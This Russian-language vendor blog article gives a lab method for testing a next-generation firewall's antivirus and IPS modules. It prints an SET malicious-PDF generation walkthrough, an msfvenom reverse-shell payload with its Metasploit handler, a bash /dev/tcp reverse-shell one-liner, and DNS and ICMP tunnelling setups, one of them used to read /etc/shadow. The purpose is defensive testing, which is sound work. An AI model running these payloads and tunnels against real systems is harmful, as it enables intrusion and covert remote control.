Найти тему
TS Solution

Как самостоятельно проверить периметр сети?

Оглавление
«Ложное чувство защищенности. Как самостоятельно проверить периметр сети?»: методология тестирования NGFW
«Ложное чувство защищенности. Как самостоятельно проверить периметр сети?»: методология тестирования NGFW

Защита периметра сети — одна из ключевых задач современного «безопасника». И при разговоре о безопасности сетевого трафика большинство людей сразу вспоминают про решения класса NGFW (Check Point, UserGate, Fortinet, Континент и т. д.). Многие полагаются на него как на единственный инструмент по защите периметра. Это весьма большое заблуждение, но обсуждение этой темы выходит за рамки нашей статьи.

Содержание:

1. Введение

2. Описание макета

3. Описание инструментов

4. Проверка антивирусного модуля

5. Проверка модуля IPS

6. Рекомендации

1. Введение


Целью этой статьи является формирование простой и доступной методики тестирования уровня защищённости вашего периметра сети. С помощью этой инструкции вы сможете самостоятельно проверить интересующий вас NGFW и оценить качество предотвращения или детектирования различных угроз ИБ.


Данная методика позволяет протестировать ключевые модули любого NGFW:

  • Antivirus (Потоковый антивирус)
  • IPS (Система предотвращения вторжений)

2.Описание макета

Для проведения тестирования NGFW нам потребуются две виртуальные машины и сам NGFW (он также может быть в виде виртуальной машины). Первая будет играть роль атакуемой машины, вторая — роль атакующей, а между ними будет находиться сам NGFW.

-2

В качестве машины жертвы будем использовать Debian 11 (далее debian). На машине нашего условного злоумышленника будет использоваться Kali Linux (далее kali).

Теперь наша задача — соединить эти две машины так, чтобы трафик между ними проходил через NGFW.

Для этого мы ставим его «между» ними и используем для маршрутизации пакетов между debian и kali.

Выдадим ip-адреса всем интерфейсам:

Debian — 192.168.2.1
Kali — 192.168.3.1
NGFW (два интерфейса)
192.168.2.254
192.168.3.254

Вы можете выбрать удобную для вас адресацию. Это не имеет значения.

3.Описание инструментов

Далее мы в подробностях опишем использование этих инструментов для тестирования ключевых модулей NGFW.Как уже обозначалось выше, для проведения тестирования мы будем использовать бесплатные и доступные всем инструменты:

  • Set Toolkit
  • Metasploit
  • Shellz
  • Iodine
  • Hans

4.Проверка антивирусного модуля

Первый способ меньше всего нагружает NGFW, но он также и обеспечивает менее качественную проверку загружаемых файлов. Одни решения в принципе не умеют осуществлять сигнатурный анализ на потоке трафика, а другие по умолчанию используют проверку по «хэшам» (а вот проверку по сигнатурам надо включать принудительно).

Будем рады видеть вас на наших каналах, где мы постоянно делимся знаковыми новостями мира кибербеза, практическими кейсами внедрения и настройками решений, а также приглашаем на полезные мероприятия:
Youtube
Группа Вконтакте
Наш сайт
Телеграм канал


Ниже вы можете увидеть инструкцию по генерации нового вирусного файла, «хэш» которого еще нигде не был замечен. Так мы сможем проверить качество сигнатурного анализа у тестируемого NGFW.

Для этого мы будем использовать встроенный в kali инструмент:
setoolkit.

Существует два основных способа проверки файла для потокового антивируса:

  • По hash-сумме (md5, sha256 и т. д.)
  • По сигнатуре

4.1 Создание вирусного файла

В командной строке kali запускаем нужный инструмент:
sudo setoolkit

В открывшемся меню выбираем
Social-Engineering Attacks (1)

-3

А далее: Infectious Media Generator (3)

-4

Затем выбираем File-Format Exploits (1)

-5

Задаём адрес нашего kali.

-6

После выбираем payload: Adobe PDF Embedded EXE Social Engineering (NOJS) (17)

-7

Здесь мы можем выбрать свой pdf файл для заражения либо воспользоваться шаблоном, т. е. Use built-in BLANK PDF for attack (2):

-8

И кликнуть на способ установки обратной связи Windows Meterpreter Reverse_TCP (2):

-9

Понадобится немного времени для генерации файла. При этом будет запрошено ввести параметры LHOST и порт. Данные параметры не имеют значения, т.к. мы не будем пытаться заразить хост, а лишь проверим модуль антивируса.

-10

По завершении операции вирусный файл будет лежать в папке /root/.set/autorun/. Отказываемся от создания listener-а (написав no). И выходим из setoolkit.

Скопируем файл в домашнюю директорию:
sudo cp /root/.set/autorun/template.pdf /home/
user («user» нужно заменить на имя вашего пользователя в kali)

4.2 Проверка в VirusTotal

Проверим, что hash файла действительно новый и не детектируется как вирусный.

Для этого посчитаем hash-сумму:

md5sum template. pdf

И получившееся значение проверим в VirusTotal:

-11

Как видим, вирус не детектируется.

-12

Теперь проверим файл полностью и загрузим его на VirusTotal:

-13

Как можно увидеть, 36 антивирусов из 62х определяют его как вирусный файл.

4.3 Тест антивируса на NGFW

Для проверки антивирусного модуля в NGFW необходимо «прокачать» через него только что созданный вирусный файл.

Для этого на виртуалке kali нужно зайти в папку (где находится файл) и запустить простейший веб-сервер:
python2.7 -m SimpleHTTPServer 8000

Теперь на компьютере жертвы (у нас это debian) необходимо подключиться к этому серверу и скачать файл
ЧЕРЕЗ NGFW.

4.4 Ожидаемый результат

При правильной настройке NGFW (а также его способности работать с сигнатурным анализом) скачивание файла должно быть заблокировано, и в логах должна отразиться соответствующая зловредная активность.

Для чистоты эксперимента следует проделать такую же процедуру скачивания, но уже по https и с настроенной https-инспекцией на NGFW. Для этого можно использовать Яндекс Диск, Google Drive и т.д.

Если тест был провален, то рекомендуем обратиться к 
6 главе с рекомендациями.

5.Проверка модуля IPS

Далее мы подробно рассмотрим использование различных инструментов.Для тестирования модуля IPS мы будем использовать две основные техники злоумышленников

А именно:Reverse Shell. Инициация зараженным пользователем подключения к командному центру (C&C) для выполнения последующих инструкций (в том числе «докачка» дополнительного вредоносного ПО)
Туннелирование. Способ фиксации удаленного управления через разрешенные (чаще всего) в сети протоколы, такие как DNS, ICMP и т.д.

5.1 Reverse Shell

Мы рассмотрим две утилиты, с помощью которых можно протестировать данный тип атаки: Shellz и Metasploit.Атакуемая машина не всегда доступна для подключения из сети Интернет. Например: она находится за NAT и не имеет белого IP. Тут на помощь злоумышленникам приходят утилиты класса «Reverse shell».

Идея данной атаки состоит в исполнении следующих этапов:Злоумышленник создает C&C сервер в прослушивающем режиме (в нашем примере — kali);
Злоумышленник каким-либо образом заставляет атакуемую машину подключиться к серверу управления. Это может происходить как в составе комбинированной атаки, когда атакуемый компьютер был заражен вредоносной утилитой, так и с помощью социальной инженерии;
После того как атакуемая машина подключается к управляющему серверу, на ней создается скрытая командная оболочка (в неё дублируются команды атакующего сервера).

5.1.1 Metasploit
Metasploit – не просто утилита, а целый фреймворк для проведения тестирования на проникновение в сеть. Он входит в стандартный дистрибутив Kali Linux, так что дополнительно устанавливать его не потребуется.

5.1.1.1 Подготовка
Итак, сначала мы проходим через этап подготовки. Необходимо создать вредоносный исполняемый файл, который нужно будет запустить на атакуемой машине для установления подключения.

С этим нам поможет утилита msfvenom, входящая в состав Metasploit:

msfvenom -p <нагрузка> -f <формат> -o <путь>/<имя> <ключ=значение>

Опция -p определяет тип нагрузки, которую необходимо поместить в файл. Список всех возможных нагрузок и их краткое описание можно посмотреть с помощью команды msfvenom --list payloads.

Так как нам нужно создать reverse shell на debian с архитектурой x64, то необходимо выбрать нагрузку linux/x64/shell/reverse_tcp. Опция -f задает формат создаваемого файла.

Для наших целей подойдет формат исполняемых файлов .elf. Список всех доступных форматов можно посмотреть командой msfvenom --list formats.

С помощью опции -o можно указать, где и под каким именем сохранить создаваемый файл. Также необходимо указать параметры подключения. В переменной lhost передаем адрес, к которому необходимо выполнить подключение (адрес машины злоумышленника), а в переменной lport – порт подключения. Укажем адрес kali – 192.168.3.1 и выберем незанятый другими службами порт 3300.

msfvenom -p linux/x64/shell/reverse_tcp -f elf -o /home/kali/msf/payload.elf lhost=192.168.3.1 lport=3300

-14

После того как исполняемый файл создан, необходимо убедиться, что этот файл может быть исполнен (при необходимости выдать соответствующие права командой chmod: chmod u+x payload. elf) и передать его на атакуемую машину. Это можно сделать любым удобным способом.

Мы используем scp:
scp /home/kali/msf/payload.elf user@192.168.2.1:/home/user/msf/payload.elf (ssh-порт должен быть открыт)

-15

На этом подготовительная часть закончена.

5.1.1.2 Атака
Осталось провести атаку.

Для этого необходимо запустить командную строку Metasploit. Это можно сделать, выполнив команду msfconsole или запустив Metasploit Framework в меню приложений.

-16

Сперва с помощью команды use выбираем модуль, который будем использовать для прослушивания порта и ожидания соединения со стороны атакуемой машины. Командами set <ключ> <значение> задаем параметры. Они должны совпадать с теми, что были указаны при создании файла с вредоносной нагрузкой.

Для начала прослушивания выполняем команду run:

  • use /exploit/multi/handler
  • set payload linux/x64/shell/reverse_tcp
  • set lhost 192.168.3.1
  • set lport 3300
  • run
-17

Теперь нам осталось только запустить исполняемый файл на стороне жертвы. После чего на kali появится сообщение об успешном подключении и можно будет выполнять команды.

-18

Ниже вы можете увидеть пример подключения зараженной машины с последующим выполнением команды ls:

-19

5.1.2 Shellz
Данная утилита позволяет пользователю быстро сформировать reverse shell на основе выбранных пользователем параметров. Включает в себя множество способов создания соединения на основе разных сетевых утилит, скриптов, типов подключения и так далее.

Дополнительные плюсы:

  • Имеет приятный интерфейс
  • Reverse shell на основе TCP, UDP, SSL
  • Функционал для загрузки и выгрузки файлов (при помощи Uplog)
  • Возможность взаимодействия с Windows Powershell и Core Powershell

5.1.2.1 Подготовка
Для начала необходимо скачать данную утилиту на kali:

git clone
https://github.com/4ndr34z/shells

-20

После установки необходимо перейти в директорию с утилитой и запустить скрипт установки:

./install.sh

-21

Запустив скрипт ./shells.sh, мы попадаем на главный экран утилиты. При этом окно консоли будет очищено, а в меню будут предложены опции создания подключения. Первым этапом эксплуатации reverse shell будет создание команды на подключение клиента к серверу.

-22

Так как в нашем случае клиентом выступает Debian, выберем опцию Bash.

Когда вы выберете необходимую опцию, откроется следующее меню, в котором необходимо будет ввести сетевой адрес атакующего сервера (в нашем случае это kali, на нём и развернута наша утилита). Для удобства он будет высвечен.

Далее вам будет предложено выбрать порт прослушивания сервером. По умолчанию предлагают выбрать 443 порт (но, в случае, если он фильтруется или занят другой службой, есть выбор).

Последней опцией будет выбор формата IP-адреса.

Есть три опции: стандартный, шестнадцатеричный (без разделения на октеты) и десятеричный (тоже без разделения). Выбираем логичный стандартный адрес.

Примечание: последний выбор не нужно подтверждать при помощи enter. После ввода цифры формата IP-адреса вас сразу перебросит на следующий этап.

Пример ниже:

-23

На следующем этапе нам предлагают выбрать кодировку. В данном тесте будет выбираться опция без кодировки: это опция (1).

-24

В нашем примере мы выберем опцию (1).Финальным этапом подготовки reverse shell будет получение команды запуска подключения к атакующему серверу (kali), выбор типа прослушивания и запуск утилиты.

Данный этап состоит из нескольких важных частей:Необходимо передать эту команду на атакуемое устройство и заставить запустить (в нашем примере мы сами запустим команду на debian);
Запускать команду на клиенте необходимо только после того, как сервер запустил прослушивание. Иначе подключение будет отменено.

-25

В результате мы получим команду для запуска на атакуемой машине в следующем виде:

sh -i >& /dev/tcp/192.168.3.1/443 0>&1

Останется выбрать инструмент прослушивания.
Выберем netcat (1).

-26

Теперь необходимо запустить ранее полученную команду на debian.

5.1.2.2 Атака
Если все было выполнено верно, то после запуска команды на debian мы увидим на kali сообщение о подключенном клиенте:

-27

Атака выполнена успешно, мы получили контроль над debian.

5.2 Туннелирование

Получив первоначальный доступ к зараженному хосту, злоумышленник попытается зафиксироваться. Как правило, это делается с помощью установки постоянно туннеля.

Использовать для этого явные инструменты типа IPSec или WireGuard не всегда возможно (они могут быть заблокированы с помощью тех же NGFW на периметре). А вот про классический DNS или ICMP весьма часто забывают. Их и используют для маскировки трафика злоумышленника.

5.2.1 DNS - туннель
Для построения DNS-туннеля мы будем использовать утилиту
Iodine. Это простой инструмент для быстрой имитации успешной атаки.

5.2.1.1 Подготовка
Для начала скачиваем утилиту на обе машины и собираем исполняемые файлы:

git clone
https://github.com/yarrick/iodine
cd iodine
make

После этого в текущей директории должен был появиться каталог bin, содержащий два исполняемых файла: iodine и iodined (клиент и сервер соответственно). Далее при рассмотрении утилиты iodine термины «клиент» и «сервер» будут употребляться в данном контексте.

На kali запускаем сервер:
./iodined -f -P <пароль> <ip-адрес> <домен>

После выполнения данной команды должен создаться виртуальный интерфейс с ip-адресом, указанным в команде, а также запуститься демон, прослушивающий порт 53. Этот демон и будет выполнять роль DNS-сервера и «резолвить» запросы по указанному домену. Опция -f указывает на то, что служба не должна выполняться в фоновом режиме.

То есть она останется «висеть» в терминальной сессии до тех пор, пока вы её не прервёте (Ctrl-C). Опция -P позволяет задать пароль для подключения к серверу в строке запуска утилиты. Без указания данной опции утилита потребует задать пароль в новой строке.

Зададим пароль «1234», выберем ip-адрес 192.168.5.1 и укажем домен dns.tun:

./iodined -f -P 1234 192.168.5.1dns.tun

-28

Можем также заметить, что создался интерфейс dns0, и 53 порт прослушивается службой iodined.

-29

5.2.1.2 Атака
На debian запускаем клиента:

./iodine -f -P <пароль> <ip-адрес dns-сервера> <домен>

После выполнения данной команды также должен создаваться виртуальный интерфейс, но при успешном подключении ip-адрес будет ему выдан автоматически. Пароль и домен указываются те, которые использовались при запуске сервера на kali.

Важно отметить, что ip-адрес, указываемый в данной команде, является ip-адресом интерфейса, с которым есть сетевая связность (он должен пинговаться). А не виртуального, созданного в результате запуска iodined.

Адрес DNS-сервера можно не указывать, если он находится в списке DNS-серверов (например: он был прописан в файле /etc/resolv.conf). Об этой и других особенностях и опциях можно узнать подробнее в файле README.md, который находится в установленном ранее каталоге с утилитой iodine.

Укажем заданный ранее на сервер пароль «1234», ip-адрес kali-машины 192.168.3.1 и домен dns.tun:

./iodine -f -P 1234 192.168.3.1dns.tun

-30

Создался интерфейс dns0, которому был присвоен ip-адрес 192.168.5.2. Сообщение об этом можно также найти на выводе утилиты iodine (строка 7).

-31

DNS-туннель установлен. Теперь мы можем осуществлять внутри него подключения, обращаясь к созданным виртуальным интерфейсам.

Например, можем подключиться по SSH с kali к debian.

-32

Или, например, просто запустить пинг. При этом при прослушивании в Wireshark на kali интерфейса dns0 (192.168.5.1) мы увидим icmp пакеты, а вот на интерфейсе eth0 (192.168.3.1) видим уже DNS пакеты.

-33
-34
-35

5.2.2 ICMP - туннель
Здесь мы будем использовать утилиту Hans, вдохновленную icmptx.

В список возможностей данной утилиты входят:

  • Hans может быть запущен в качестве клиента и сервера на Linux и на Mac OS X, iPhone/iPod touch, FreeBSD, OpenBSD и Windows только в качестве клиента;
  • Сервер Hans поддерживает 253 клиента, что соответствует количеству доступных IP-адресов в виртуальной подсети;
  • Упрощенная настройка: Hans автоматически назначает ip-адреса;
  • Базовая система безопасности при помощи построения туннеля по паролю;
  • Один и тот же файл используется как сервером, так и клиентом.

5.2.2.1 Подготовка
Первым делом необходимо скачать архив с утилитой:

  • Linux: https://github.com/friedrich/hans
  • Mac OS X: https://sourceforge.net/projects/hanstunnel/files/osx/
  • Windows: https://sourceforge.net/projects/hanstunnel/files/windows/

Предыдущие версии Hans можно найти на: https://sourceforge.net/projects/hanstunnel/files/source/

Установка
Перейдем непосредственно к установке. Для этого командой (*) установим утилиты для сборки.

  • apt install git, make, g++, net-tools

Далее необходимо скачать сам архив командой

  • git clone https://github.com/friedrich/hans
-36

Затем собираем командой make.

-37

Так как данный туннель работает с ICMP пакетами и hans не позволяет настраивать порт, нет нужды открывать порты (например: iodine (DNS-tun) или утилиты reverse shell), чтобы настроить кастомные порты подключения.

После скачивания и сборки утилиты она уже полностью готова к работе, и ничего более не нужно. Так, для запуска сервера необходимо прописать команду (*). В качестве адреса необходимо подставить желаемый.

  • ./hans -s 192.168.4.1 -p secret -f
-38

5.2.2.2 Атака
Для клиента необходимо прописать (*). В данной команде указываемый адрес – это ip адрес сервера.

  • ./hans -c 192.168.3.1 -p secret -f
-39

Необходимо также упомянуть использованные и доступные ключи:

  • -s - сервер
  • -c – клиент
  • -p – задание или ввод пароля (зависит от того, на чем прописывается ключ)
  • -f – режим ожидания (намного проще позже туннель убить)
  • -w – настройка количества отправляемых клиентом echo requests (по умолчанию 10. Задать меньше, если идет потеря пакетов. Задать больше для увеличения пропускной способности туннеля)
  • -q/-i – сервер указывает клиенту изменять echo id или порядковый номер при каждом запросе. При необходимости первым попробовать -q. Если не сработало -i;
  • -u – возможность запуска hans от имени другого пользователя;
  • -v – режим отладки;
  • -fv – совмещает функции -v и -f

Отдельно поговорим о ключе -r, который указывает hans отвечать на обычные ping’и.
Это необходимо в случае, когда брандмауэр фильтрует icmp-пакеты.

Для решения можно заблокировать ответы на echo requests. А для linux это можно сделать командой (*).

  • echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all.

После этого уже можно запустить hans с вышеупомянутым ключом.

Проверка
Проведем проверку созданного туннеля:

  • На сервере сформировался интерфейс с выданным нами адресом:
-40
  • На клиенте сформировался новый интерфейс, которому был автоматически выдан адрес 192.168.4.100:
-41
  • Проведя проверку подключения утилитой ping, выясняем, что соединение есть
-42
  • Попробуем с сервера подключиться к клиенту через SSH и просмотреть /etc/shadow:
-43
-44

Рассмотрим трафик, получаемый от hans.
При работе ICMP-туннеля можно заметить, что в каждом пакете, полученном от клиента, в начале поле data будет использоваться hanc, а в пакете от сервера – hans.

На этом построены некоторые средства защиты и распознавания работы данной утилиты.Подключение прошло успешно. Туннель работает.

-45

На следующих скриншотах представлены ICMP-пакеты, содержащие полезную нагрузку в виде:

-46

Передачи пароля на аутентификацию

-47

Выполнения команды смены директории

-48

Вывод имеющихся директорий

-49

Вывод сообщения об успешном входе (и непрочитанном письме)

5.3 Ожидаемый результат

При правильной настройке NGFW (а также его способности блокировать подобные атаки) все действия по удаленному управлению и построению туннелей должны быть заблокированы, а в логах отражена соответствующая зловредная активность.

Если тест был провален, обратитесь к главе с рекомендациями.

6.Рекомендации

Ниже представлена референсная схема наиболее защищенной архитектуры корпоративной сети:Если ваш NGFW не смог увидеть или заблокировать перечисленные угрозы, это может быть серьезным поводом, чтобы задуматься об эффективности вашей защиты.

Вот ключевые рекомендации:

  • Проведите технический аудит вашего NGFW. Верно ли он настроен? Все ли защитные механизмы используются? При необходимости мы готовы с этим помочь!
  • Повысьте защищенность периметра за счет дополнительных средств защиты.
-50

Если у вас остались вопросы по данной схеме, мы готовы обсудить их лично и поделиться нашим опытом. Свяжитесь с нами удобным способом по ссылке.


Также прикладываем дополнительный чек-лист с рекомендациями по безопасности периметра сети:
1. Используется выделенное решение по защите почты;
2. Включена HTTPS инспекция;
3. Блокируются нежелательные ресурсы;
4. Блокируется скачивание исполняемых файлов;
5. Выполнена интеграция с «песочницей»;
6. Выполнено обновление и профилирование IPS;
7. Анализируются логи на предмет false positive;
8. Сформирована Geo Policy;
9. Запланированы регулярные проверки;
10. Используется NTA/NDR решение.

Бесплатные обучающие материалы по решениям класса NGFW ждут вас на портале TS University: https://university.tssolution.ru/metodologiya-testirovaniya-ngfw?utm_medium=dzen